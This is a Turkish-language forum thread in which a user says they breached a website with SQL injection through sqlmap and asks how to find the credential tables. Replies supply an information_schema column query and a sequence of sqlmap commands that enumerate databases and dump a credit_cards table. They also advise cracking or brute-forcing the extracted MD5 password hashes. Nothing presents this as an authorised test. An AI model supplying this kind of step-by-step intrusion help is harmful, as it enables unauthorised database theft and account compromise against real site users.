SQL Injection ile Kullanıcı Bilgilerine Nasıl Ulaşılır?

[DDarkStyle]

SQL İnjection ile bir site hackledim sqlmap aracılıyla fakat karşımda çok tables var en azından kullanıcı bilgilerinin olduğu tablesi nasıl kolayca bulabilirim? Hepsine bakmam mı gerekiyor? Bir tablesin içine giriyorum orada farklı kolonlar var hepsine teker teker bakmam imkansız.

 

[bcO8bnpldmk]

SQL İnjection ile bir site hackledim sqlmap aracılıyla fakat karşımda çok tables var en azından kullanıcı bilgilerinin olduğu tablesi nasıl kolayca bulabilirim? Hepsine bakmam mı gerekiyor? Bir tablesin içine giriyorum orada farklı kolonlar var hepsine teker teker bakmam imkansız.

select group_concat(column_name) from information_schema.columns where table_schema=database()

 

[DDarkStyle]

select group_concat(column_name) from information_schema.columns where table_schema=database()

Cevabınız için teşekkürler fakat bunu sqlmap'de nasıl kullanacağım acaba?

 

[bcO8bnpldmk]

Cevabınız için teşekkürler fakat bunu sqlmap'de nasıl kullanacağım acaba?

güzel soru. sqlmap'ın yapabileceklerini manuel yapabildiğim için hiç kullanmadım. bilmiyorum. --help yazıp sql komutlarının kullanımına yönelik komutlara bakıver.

 

[DDarkStyle]

güzel soru. sqlmap'ın yapabileceklerini manuel yapabildiğim için hiç kullanmadım. bilmiyorum. --help yazıp sql komutlarının kullanımına yönelik komutlara bakıver.

Veya tüm dosyaları kaydedip SQL server management studio'da ya aktarıp oradan bu komudu çalıştırabilirmiyim? Çünkü sqlmapde bunu yapamıyoruz sanırım.

 

[bcO8bnpldmk]

Veya tüm dosyaları kaydedip SQL server management studio'da ya aktarıp oradan bu komudu çalıştırabilirmiyim? Çünkü sqlmapde bunu yapamıyoruz sanırım.

benim verdiğim örnek mysql için, kullanmak istediğin program mssql için. syntax hatası alırsın. workbench veya phpmyadmin kullanman gerekir. ayrıca komple veritabanını indirebiliyorsan aç sql dosyasını ve bir kod editöründe bakınıver.

 

[raistaron]

SQL İnjection ile bir site hackledim sqlmap aracılıyla fakat karşımda çok tables var en azından kullanıcı bilgilerinin olduğu tablesi nasıl kolayca bulabilirim? Hepsine bakmam mı gerekiyor? Bir tablesin içine giriyorum orada farklı kolonlar var hepsine teker teker bakmam imkansız.

Bir fotoğraf atar mısın

 

[Krypthon]

Merhaba;

Database İsimlerine Ulaşmak İçin

Bu adımda ise sistemde var olan database isimlerine ulaşmak için komutumuzu biraz değiştirerek tekrar çalıştırıyoruz.

$ sqlmap - u ""hedef site"=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Detail" --dbs

Kullanımda Olan Güncel(Current) Veritabanı’na Ulaşmak İçin

$ sqlmap - u ""hedef site"&username=yakup&password=&user-info-php-submit-button=View+Account+Details[/URL]" --current-db

Veritabanı Tablolarına Erişme

$ sqlmap - u ""hedef site"&username=yakup&password=&user-info-php-submit-button=View+Account+Detail[/URL]" --tables -D owasp10

Column İsimlerine Ulaşma

$ sqlmap - u ""hedef site"username=yakup&password=&user-info-php-submit-button=View+Account+Detail[/URL]" --columns -T credit_cards -D owasp10

Tüm Bilgilere Erişme

$ sqlmap - u ""hedef site"&username=yakup&password=&user-info-php-submit-button=View+Account+Detail[/URL]" -T credit_cards -D owasp10 --dump
Son adımda ise ilgili komut yardımıyla tüm bilgilere ulaşmış olduk.

İyi Forumlar..

 

[DDarkStyle]

Merhaba;

Database İsimlerine Ulaşmak İçin

Bu adımda ise sistemde var olan database isimlerine ulaşmak için komutumuzu biraz değiştirerek tekrar çalıştırıyoruz.

$ sqlmap - u ""hedef site"=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Detail" --dbs

Kullanımda Olan Güncel(Current) Veritabanı’na Ulaşmak İçin

$ sqlmap - u ""hedef site"&username=yakup&password=&user-info-php-submit-button=View+Account+Details[/URL]" --current-db

Veritabanı Tablolarına Erişme

$ sqlmap - u ""hedef site"&username=yakup&password=&user-info-php-submit-button=View+Account+Detail[/URL]" --tables -D owasp10

Column İsimlerine Ulaşma

$ sqlmap - u ""hedef site"username=yakup&password=&user-info-php-submit-button=View+Account+Detail[/URL]" --columns -T credit_cards -D owasp10

Tüm Bilgilere Erişme

$ sqlmap - u ""hedef site"&username=yakup&password=&user-info-php-submit-button=View+Account+Detail[/URL]" -T credit_cards -D owasp10 --dump
Son adımda ise ilgili komut yardımıyla tüm bilgilere ulaşmış olduk.

İyi Forumlar..

owasp10 dosyası mevcut değil fakat login sayfası olan bir site en azından giriş bilgilerinin olduğu farklı bir dosya yokmudur?

 

[DDarkStyle]

Bir fotoğraf atar mısın

Tableslerin fotoğrafını mı istiyorsunuz?

 

[raistaron]

Tableslerin fotoğrafını mı istiyorsunuz?

evet

 

[DDarkStyle]

evet

m517t67.PNG

tables

www.hizliresim.com

indirilmiş hali şu anda kayıt ettim hepsini editörde açmaya çalışacağım

 

[DDarkStyle]

evet

m517t67.PNG

tables

www.hizliresim.com

indirilmiş hali şu anda kayıt ettim hepsini editörde açmaya çalışacağım

ne yapmalıyım acaba bir bilginiz varmı?

 

[P4$A]

key caches , key column usage , keywords , schemata ya bak schematada zaten kullanınıcı adı filan var şifreli ama kırılıyormu bilmiyorum

 

[Kudad]

SQL İnjection ile bir site hackledim sqlmap aracılıyla fakat karşımda çok tables var en azından kullanıcı bilgilerinin olduğu tablesi nasıl kolayca bulabilirim? Hepsine bakmam mı gerekiyor? Bir tablesin içine giriyorum orada farklı kolonlar var hepsine teker teker bakmam imkansız.

users veri tabanı avrdır büyük ihtimalle yada sqlmap ile sql şifresi ve kullanıcı adını bulduktan sonra bağlanırsın veri tabanına kolay kolay bakarsın

 

[DDarkStyle]

key caches , key column usage , keywords , schemata ya bak schematada zaten kullanınıcı adı filan var şifreli ama kırılıyormu bilmiyorum

Teşekkürler sanırım brute force vs. yapmak gerekiyor değil mi?

 

[DDarkStyle]

users veri tabanı avrdır büyük ihtimalle yada sqlmap ile sql şifresi ve kullanıcı adını bulduktan sonra bağlanırsın veri tabanına kolay kolay bakarsın

sqlmap ile sql şifresini nereden bulacağım bir bilginiz varmıdır?

 

[P4$A]

Teşekkürler sanırım brute force vs. yapmak gerekiyor değil mi?

ayn md5 bulursun büyük ihtimal şifreyle kullanıcı adını bf atarsın sonra

 

[P4$A]

sqlmap ile sql şifresini nereden bulacağım bir bilginiz varmıdır?

ordaki tablodaki verileri çek şifreli olark bulursun birinde

 

[DDarkStyle]

ordaki tablodaki verileri çek şifreli olark bulursun birinde

n0ogkwk.PNG

.

www.hizliresim.com

verileri çektim .csv dosyası olarak geldi bir editörde açtım bu şekilde